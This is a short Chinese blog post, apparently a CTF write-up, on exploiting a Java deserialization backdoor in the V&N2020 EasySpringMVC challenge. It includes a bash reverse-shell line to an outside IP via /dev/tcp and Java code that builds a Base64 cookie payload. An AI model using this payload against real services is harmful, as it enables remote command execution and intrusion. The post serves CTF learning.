刷题记录:[V&N2020 公开赛]EasySpringMVC

题目复现链接:https://buuoj.cn/challenges
参考链接:2020 年 V&N 内部考核赛 WriteUp
从一道题入门JAVA反序列化漏洞
V&N公开赛2020 writeup

Java反序列化

深入了解序列化writeObject、readObject、readResolve

总结一下,如果目标类中没有定义私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用默认的方法来根据目标类中的属性来进行序列化和反序列化,而如果目标类中定义了私有的writeObject或readObject方法,那么序列化和反序列化的时候将调用目标类指定的writeObject或readObject方法来实现。

这里的Tools类中有readObject

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    Object obj = in.readObject();
    (new ProcessBuilder((String[])((String[])obj))).start();
}

其实这就是一个后门。我们可以重写Tools类中writeObject来生成payload

private void writeObject(ObjectOutputStream out) throws IOException{
    out.writeObject(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/174.0.234.134/11111 0>&1"});
}

用Main生成payload

public class Main {
    public static void main(String[] args) {
        Tools tools = new Tools();
        Base64.Encoder e = Base64.getEncoder();
        byte[] var20 = new byte[0];
        try {
            var20 = Tools.create(tools);
        } catch (Exception var15) {
            var15.printStackTrace();
        }
        String cookie = e.encodeToString(var20);
        System.out.println(cookie);
    }
}
posted @ 2020-03-05 21:39  MustaphaMond  阅读(781)  评论(0编辑  收藏  举报